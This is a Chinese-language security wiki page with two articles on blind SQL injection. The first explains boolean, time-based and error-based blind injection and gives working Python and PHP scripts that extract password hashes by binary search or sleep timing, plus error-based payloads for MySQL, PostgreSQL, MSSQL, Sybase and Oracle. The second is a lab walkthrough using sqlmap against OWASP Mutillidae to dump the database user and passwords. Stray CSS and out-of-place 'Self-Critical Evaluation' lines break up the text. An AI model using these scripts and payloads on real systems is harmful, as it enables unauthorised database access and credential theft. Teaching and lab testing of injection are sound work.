黑海洋Wiki | AI机器人硬件开发 | 网络安全攻防实战 | 区块链技术文档教程 - 免费资源平台 - 盲注
.encrypted-content { background: linear-gradient(135deg, #fdfeff, #f3f9ff); padding: 20px; border: 2px dashed #76c7e6; border-radius: 12px; margin: 15px 0; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); color: #007bff; text-align: center; position: relative; overflow: hidden; transition: all 0.3s ease; } .encrypted-content:before { content: "🐸🤔 🤐 😄 🤣 😂 😝 🤑"; position: absolute; top: -10px; left: 50%; transform: translateX(-50%); font-size: 30px; color: #007bff; opacity: 0.2; z-index: 0; } .encrypted-content:hover { background: linear-gradient(135deg, #d6ecff, #cce8ff); border-color: #54aed8; transform: scale(1.02); box-shadow: 0 6px 10px rgba(0, 0, 0, 0.15); } .encrypted-content span { display: inline-block; position: relative; z-index: 1; animation: fadeIn 1.5s infinite; } @keyframes fadeIn { 0%, 100% { opacity: 0.6; } 50% { opacity: 1; } } 写在前面： 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句，虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商，也鞭策着每一个安全从业者不断前进。 正文： 首先来简单介绍一下盲注，盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中，攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同，也可以是响应时间不同)。一般情况下，盲注可分为三类。Booleanbase Timebase Errorbase其中第一类Boolean就是我们最常接触到的普通盲注。 比如在where语句中可以构造or 1=1来使返回页面不同。(这里用mysql演示一下，大家体会就好)mysql> select 123 from dual where 1=1; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set (0.00 sec) mysql> select 123 from dual where 1=0; Empty set (0.00 sec)如果注入点在order by后面，那么则可以使用判断语句来构造报错。（其实order by后面的注入也可以根据返回结果的顺序来判断，这里自由发挥就好：P）mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3; +---+ | 1 | +---+ | 1 | | 1 | | 1 | +---+ 3 rows in set (0.00 sec) mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3; ERROR 1242 (21000): Subquery returns more than 1 row基于时间的盲注的话，mysql主要涉及两个函数，sleep banchmark 基本是使用如下。mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1; Empty set (27.00 sec) mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1; +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec)基于报错的盲注，需要网站显示数据库报错信息，后面会有详细阐述。 知道了怎么判断ture or false之后就是获取数据了，当然你可以暴力测试每一个ascii码，不过这需要很多次尝试，如果你家正巧网速不好那么速度将会是十分缓慢的。 拿32位hash为例，暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制，只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那？大概需要 72*32=2304次查询，这就比较多了。想要减少盲注查询的次数，一般会用到如下几种方法。 字频统计： 根据英文中字母出现的频率进行猜测，这种方法仅局限于用户名这样有意义的字符串，并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。wiki百科上有字母使用频率的统计。 那么根据字频统计，e出现的概率最高，a其次，那我们就先猜测e，再猜测a。更近一步，我们可以使用双字的字频来进一步提高效率，比如th在英文中出现的概率很高。那么在第一个字母是t之后，我们下个字符第一个猜测h。 ps.这种方法的效率有多高哪？只能说看脸。 二分查找，位运算法： 把他们两个放在一起是因为他们的作用是相同的都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)。 首先来说二分查找，它的原理是把可能出现的字符看做一个有序的序列，这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。 使用而返查找确定一个hash散列的一位，只需要4次查询（2^4=16）,也就是说确定一个32位hash，只需要126次请求，大大缩短了查询的次数。 这里给出一个二分查找的pyhton源代码import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx') response = urllib2.urlopen(req) the_page = response.read() if (the_page.find("Welcome back")>0): return True else: return False wordlist = "0123456789ABCDEF" res = "" for i in range(1,33): s=0 t=15 while (s<t): if (t-s==1): if doinject('' or substring(password,'+str(i)+',1)=''+wordlist[t]+'' -- LanLan'): m=t break else: m=s break m=(s+t)/2 if doinject('' or substring(password,'+str(i)+',1)>''+wordlist[m]+'' -- LanLan'): s=m+1 print wordlist[s]+":"+wordlist[t] else: t=m print wordlist[s]+":"+wordlist[t] res = res+wordlist[m] print res这里还有使用正则表达式来进行二分查找的php实现$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { $ch = $sCharset; do { $ch1 = substr($ch, 0, intval(strlen($ch)/2)); $ch2 = substr($ch, intval(strlen($ch)/2)); $p = $sPost.'absolutelyimpossible' OR 1=(SELECT 1 FROM blight WHERE password REGEXP '^'.$hash.'['.$ch1.']' AND sessid=xxx) AND '1'='1'; $res = libHTTP::POST($sUrl, $p); if (strpos($res['content'], 'Your password is wrong') === false) $ch = $ch1; else $ch = $ch2; } while (strlen($ch) > 1); $hash .= $ch; echo "rhash: ".$hash; }ps：上面的代码都是针对32位hash的盲注 再说位运算，它的原理是每次请求确定二进制的一位，对于ascii码连续的区间时间复杂度为log(n)*length，所以相对于二分查找，它应用起来比较有局限性。 mysql中位运算的与运算是&，我们主要用它来进行猜测，比如a的ascii码是1100001，那么我们可以使用1,2,4,8,16…..依次与他进行与运算，最终得到结果。mysql> select ord('a') & 1; +--------------+ | ord('a') & 1 | +--------------+ | 1 | +--------------+ 1 row in set (0.00 sec) mysql> select ord('a') & 2; +--------------+ | ord('a') & 2 | +--------------+ | 0 | +--------------+ 1 row in set (0.00 sec) mysql> select ord('a') & 4; +--------------+ | ord('a') & 4 | +--------------+ | 0 | +--------------+ 1 row in set (0.00 sec)基于时间的盲注： 上面的方法，都是通过返回页面的不同来获取信息，所以理论上来说每次，最多只能确定一个二进制位(true or false)。但是，在盲注过程中还有一个重要的因素可以帮助我们获取信息，那就是页面返回时间的长短。通过如下的语句，我们可以通过一次请求确定一个字符的ascii码。如果是一串32位的hash，那么只需要32次请求，即可得到答案。' or sleep(ord(substr(password,1,1))) --利用语句一般可以写成这样mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (6.00 sec) mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (11.00 sec)推荐使用，sleep而不要使用benchmark，因为sleep不会占用cpu而且比较稳定。 下面给出一个针对32位hash的盲注算法import urllib import urllib2 import socket from time import time socket.setdefaulttimeout(1000000) def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx') start = time() response = urllib2.urlopen(req) end = time() #print response.read() index = int(end-start) print 'index:'+ str(index) print 'char:' + wordlist[index-1] return index wordlist = "0123456789ABCDEF" res = "" for i in range(1,34): num = doinject('' or sleep( find_in_set(substring(password, '+str(i)+', 1), '0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F')) -- LanLan') res = res+wordlist[num-1] print res这里还有注意一点，sleep在where语句中会被计算多次，在实际应用中需要根据表中的记录数，做相应的处理。 比如有一个2个记录的表select count(*) from test; +----------+ | count(*) | +----------+ | 2 | +----------+如果直接查询，因为两个记录都会引发查询所以会触发两次sleep()延迟12秒select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.')); Empty set (12.00 sec)这里在前面使用一个条件语句，因为and前面的表达式如果为false则后面的不执行，所以sleep执行一次，延迟6秒select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.')); Empty set (6.00 sec)ps.这种方法很怕网络不稳定。 基于报错的盲注： 如果页面上显示数据的报错信息，那么可以直接使用报错的方式把想要的信息爆出来。 比如在mysql中我们可以使用如下的经典语句进行报错。select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;这是网上流传很广的一个版本，可以简化成如下的形式。select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))如果关键的表被禁用了，可以使用这种形式select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))如果rand被禁用了可以使用用户变量来报错select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)其实这是mysql的一个bug所引起的，其他数据库都不会因为这个问题而报错。 另外，在mysql5.1版本新加入两个xml函数，也可以用来报错。mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1))); ERROR 1105 (HY000): XPATH syntax error: 'admin888' mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'而在其他数据库中也可以使用不同的方法构成报错PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--参考文献： METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION Indexed Blind SQL Injection
.encrypted-content { background: linear-gradient(135deg, #fdfeff, #f3f9ff); padding: 20px; border: 2px dashed #76c7e6; border-radius: 12px; margin: 15px 0; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); color: #007bff; text-align: center; position: relative; overflow: hidden; transition: all 0.3s ease; } .encrypted-content:before { content: "🐸🤔 🤐 😄 🤣 😂 😝 🤑"; position: absolute; top: -10px; left: 50%; transform: translateX(-50%); font-size: 30px; color: #007bff; opacity: 0.2; z-index: 0; } .encrypted-content:hover { background: linear-gradient(135deg, #d6ecff, #cce8ff); border-color: #54aed8; transform: scale(1.02); box-shadow: 0 6px 10px rgba(0, 0, 0, 0.15); } .encrypted-content span { display: inline-block; position: relative; z-index: 1; animation: fadeIn 1.5s infinite; } @keyframes fadeIn { 0%, 100% { opacity: 0.6; } 50% { opacity: 1; } }简介本文主要关注SQL注入，假设读者已经了解一般的SQL注入技术，在我之前的文章中有过介绍，即通过输入不同的参数，等待服务器的反应，之后通过不同的前缀和后缀（suffix and prefix ）注入到数据库。本文将更进一步，讨论SQL盲注，如果读者没有任何相关知识储备，建议先去wikipedia学习一下。在继续之前需要提醒一下，如果读者也想要按本文的步骤进行，需要在NOWASP Mutillidae环境搭建好之后先注册一个NOWASP Mutillidae帐号。SQL注入前言本文演示从web界面注入SQL命令的方法，但不会直接连接到数据库，而是想办法使后端数据库处理程序将我们的查询语句当作SQL命令去执行。本文先描述一些注入基础知识，之后讲解盲注的相关内容。Show Time这里我以用户名“jonnybravo”和密码“momma”登录，之后进入用户查看页面，位于OWASP 2013 > A1 SQL Injection > Extract data > User Info。要查看用户信息，需要输入用户ID与密码登录，之后就可以看到当前用户的信息了。如我之前的文章所提到的那样，这个页面包含SQL注入漏洞，所以我会尝试各种注入方法来操纵数据库，需要使用我之前文章提到的后缀（suffix）与前缀（prefix）的混合。这里我使用的注入语句如下：Username: jonnybravo’ or 1=1; –该注入语句要做的就是从数据库查询用户jonnybravo，获取数据后立刻终止查询（利用单引号），之后紧接着一条OR语句，由于这是一条“if状态”查询语句，而且这里给出 “or 1＝1”，表示该查询永远为真。1=1表示获取数据库中的所有记录，之后的;–表示结束查询，告诉数据库当前语句后面没有其它查询语句了。图1 正常方式查看用户信息将payload注入后，服务器泄露了数据库中的所有用户信息。如图2所示：图2 注入payload导致数据库中所有数据泄露至此，本文向读者演示了一种基本SQL注入，下面笔者用BackTrack和Samurai 等渗透测试发行版中自带的SQLmap工具向读者演示。要使用SQLmap，只需要打开终端，输入SQLmap并回车，如下图所示：如果读者首次使用SQLmap，不需要什么预先操作。如果已经使用过该工具，需要使用—purge-output选项将之前的输出文件删除，如下图所示：图3 将SQLmap output目录中的原输出文件删除本文会演示一些比较独特的操作。通常人们使用SQLmap时会直接指定URL，笔者也是用该工具分析请求，但会先用Burp查看请求并将其保存到一个文本文件中，之后再用SQLmap工具调用该文本文件进行扫描。以上就是一些准备工作，下面首先就是先获取一个请求，如下所示：GET /chintan/index.php?page=user-info.php&username=jonnybravo&password=momma&user-info-php-submit-button=View+Account+Details HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/chintan/index.php?page=user-info.php Cookie: showhints=0; username=jonnybravo; uid=19; PHPSESSID=f01sonmub2j9aushull1bvh8b5 Connection: keep-alive将该请求保存到一个文本文件中，之后发送到KALI linux中，用如下命令将该请求头部传给SQLmap：SQLmap –r ~/root/Desktop/header.txtSelf-Critical Evaluation命令中-r选项表示要读取一个包含请求的文件，~/root/Desktop/header.txt表示文件的位置。如果读者用VMware，例如在Windows上用虚拟机跑KALI，执行命令时可能产生如下图所示的错误提示：这里必须在请求头中指定一个IP地址，使KALI linux能与XP正常通信，修改如下图所示：之后命令就能正常执行了，显示结果如下图所示：基本上该工具做的就是分析请求并确定请求中的第一个参数，之后对该参数进行各种测试，以确定服务器上运行的数据库类型。对每个请求，SQLmap都会对请求中的第一个参数进行各种测试。GET /chintan/index.php?page=user-info.php&username=jonnybravo&password=momma&user-info-php-submit-button=View+Account+Details HTTP/1.1SQLmap可以检测多种数据库，如MySQL、Oracle SQL、PostgreSQL、Microsoft SQL Server等。下图是笔者系统中SQLmap正在对指定的请求进行检测时显示的数据库列表：首先它会确定给定的参数是否可注入。根据本文演示的情况，我们已经设置OWASP mutillidae的安全性为0，因此这里是可注入的，同时SQLmap也检测到后台数据库DBMS可能为MYSQL。如上图所示，工具识别后台数据库可能为MYSQL，因此提示用户是否跳过其它类型数据库的检测。“由于本文在演示之前已经知道被检测数据库是MYSQL，因此这里选择跳过对其它类型数据库的检测。”之后询问用户是否引入（include）测试MYSQL相关的所有payload，这里选择“yes”选项：测试过一些payloads之后，工具已经识别出GET参数上一个由错误引起的注入问题和一个Boolean类型引起的盲注问题。之后显示该GET参数username是一个基于MYSQL union（union-based）类型的查询注入点，因此这里跳过其它测试，深入挖掘已经找出的漏洞。至此，工具已经识别出应该深入挖掘的可能的注入点：接下来，我把参数username传递给SQLmap工具，以对其进行深入挖掘。通过上文描述的所有注入点和payloads，我们将对username参数使用基于Boolean的SQL盲注技术，通过SQLmap中的–technique选项实现。其中选择如下列表中不同的选项表示选用不同的技术：B : 基于Boolean的盲注（Boolean based blind） Q : 内联查询（Inline queries） T : 基于时间的盲注（time based blind） U : 基于联合查询（Union query based） E : 基于错误（error based） S : 栈查询（stack queries）本例中也给出了参数名“username”，因此最后构造的命令如下：SQLmap –r ~root/Desktop/header.txt – -technique B – -p username – -current-user这里-p选项表示要注入的参数，“–current-user“选项表示强制SQLmap查询并显示登录MYSQL数据库系统的当前用户。命令得到输出如下图所示：同时也可以看到工具也识别出了操作系统名，DBMS服务器以及程序使用的编程语言。“”当前我们所做的就是向服务器发送请求并接收来自服务器的响应，类似客户端－服务器端模式的交互。我们没有直接与数据库管理系统DBMS交互，但SQLmap可以仍识别这些后台信息。同时本次与之前演示的SQL注入是不同的。在前一次演示SQL注入中，我们使用的是前缀与后缀，本文不再使用这种方法。之前我们往输入框中输入内容并等待返回到客户端的响应，这样就可以根据这些信息得到切入点。本文我们往输入框输入永远为真的内容，通过它判断应用程序的响应，当作程序返回给我们的信息。“结果分析我们已经给出当前的用户名，位于本机，下面看看它在后台做了什么。前文已经说过，后台是一个if判断语句，它会分析该if查询，检查username为jonnybravo且7333＝7333，之后SQLmap用不同的字符串代替7333，新的请求如下：page=user-info.php?username=’jonnybravo’ AND ‘a’='a’ etc..FALSE page=user-info.php?username=’jonnybravo’ AND ‘l’='l’ etc..TRUE page=user-info.php?username=’jonnybravo’ AND ‘s’='s’ etc..TRUE page=user-info.php?username=’jonnybravo’ AND ‘b’='b’ etc..FALSE如上所示，第一个和最后一个查询请求结果为假，另两个查询请求结果为真，因为当前的username是root@localhost，包含字母l和s，因此这两次查询在查询字母表时会给出包含这两个字母的用户名。“这就是用来与web服务器验证的SQL server用户名，这种情况在任何针对客户端的攻击中都不应该出现，但我们让它发生了。”去掉了–current-user选项，使用另外两个选项-U和–password代替。-U用来指定要查询的用户名，–password表示让SQLmap去获取指定用户名对应的密码，得到最后的命令如下：SQLmap -r ~root/Desktop/header.txt --technique B -p username -U root@localhost --passwords命令输出如下图所示：Self-Critical Evaluation有时可能没有成功获取到密码，只得到一个NULL输出，那是因为系统管理员可能没有为指定的用户设定认证信息。如果用户是在本机测试，默认情况下用户root@localhost是没有密码的，需要使用者自己为该用户设置密码，可以在MySQL的user数据表中看到用户的列表，通过双击password区域来为其添加密码。或者可以直接用下图所示的命令直接更新指定用户的密码：这里将密码设置为“sysadmin“，这样SQLmap就可以获取到该密码了，如果不设置的话，得到的就是NULL。通过以上方法，我们不直接与数据库服务器通信，通过SQL注入得到了管理员的登录认证信息。总结本文描述的注入方法就是所谓的SQL盲注，这种方法更繁琐，很多情况下比较难以检测和利用。相信读者已经了解传统SQL注入与SQL盲注的不同。在本文所处的背景下，我们只是输入参数，看其是否以传统方式响应，之后凭运气尝试注入，与之前演示的注入完全是不同的方式。References1. http://en.wikipedia.org/wiki/SQL_injection2. http://www.SQLmap.org/3. https://github.com/SQLmapproject/SQLmap/wiki/usage4. http://dev.mysql.com/doc/refman/5.6/en/examples.html[via infosecinstitute]